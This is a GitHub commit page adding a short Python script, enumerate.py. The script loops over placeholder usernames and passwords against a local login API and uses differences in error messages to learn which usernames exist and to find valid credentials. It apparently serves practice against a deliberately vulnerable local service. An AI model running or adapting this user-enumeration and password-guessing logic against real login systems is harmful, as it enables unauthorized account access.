Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
shimsha24 committed Aug 6, 2024
1 parent 5ad2532 commit bc3e46b
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions enumerate.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import requests

user_error_message = "Username does not exist"
password_error_message = "Password is not correct for the given username."

users_list = ["name1", "name2", "name3", "name4", "name5","admin"]
pass_list = ["pass1", "pass2", "pass3", "pass4", "pass5","admin"]

for user in users_list:
for password in pass_list:
data = {
"username": user,
"password": password
}
response = requests.post("http://localhost:5000/users/v1/login", json=data)
body = response.json()
if body["message"] == password_error_message:
print(f"User {user} does exist, checking passwords")
elif body["message"] == "Successfully logged in.":
print(f"Found {user} with password {password}")
else:
break

0 comments on commit bc3e46b

Please sign in to comment.